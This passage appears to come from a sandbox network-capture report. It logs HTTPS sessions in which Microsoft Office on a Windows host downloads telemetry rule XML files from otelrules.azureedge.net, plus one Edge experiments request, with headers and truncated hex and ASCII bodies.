2024-11-19 19:05:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:38 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190538Z-r1d97b99577brct2hC1TEBambg00000001kg00000000029a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:38 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	52404	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:38 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190538Z-r1d97b9957744xz5hC1TEB5bf800000007mg00000000h1x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	52405	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:38 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190538Z-185f5d8b95csd4bwhC1NYCq7dc000000091g00000000hdtw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	52407	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190539Z-r1d97b99577brct2hC1TEBambg00000001f000000000b9sy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	52406	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190539Z-185f5d8b95crwqd8hC1NYCps6800000009700000000033d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	52412	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190539Z-185f5d8b95c68cvnhC1NYCfn7s000000094g00000000gb26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	52413	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190539Z-185f5d8b95c4bhwphC1NYCs8gw00000009c0000000001ttx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	52416	94.245.104.56	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 19:05:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 19 Nov 2024 19:05:39 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=990f03dcbfce000294e864b1676ff62b24b284f2b44f33fef321aa8373d2288e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=990f03dcbfce000294e864b1676ff62b24b284f2b44f33fef321aa8373d2288e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	52417	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:39 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190539Z-185f5d8b95cdtclvhC1NYC4rmc00000009b0000000006bug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	52426	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190540Z-1777c6cb7542p5p4hC1TEBq09800000008dg00000000r1dh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	52422	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:40 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190540Z-185f5d8b95cdh56ghC1NYCk1x4000000030000000000ct00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	52423	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:40 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190540Z-r1d97b9957744xz5hC1TEB5bf800000007mg00000000h20q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	52425	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
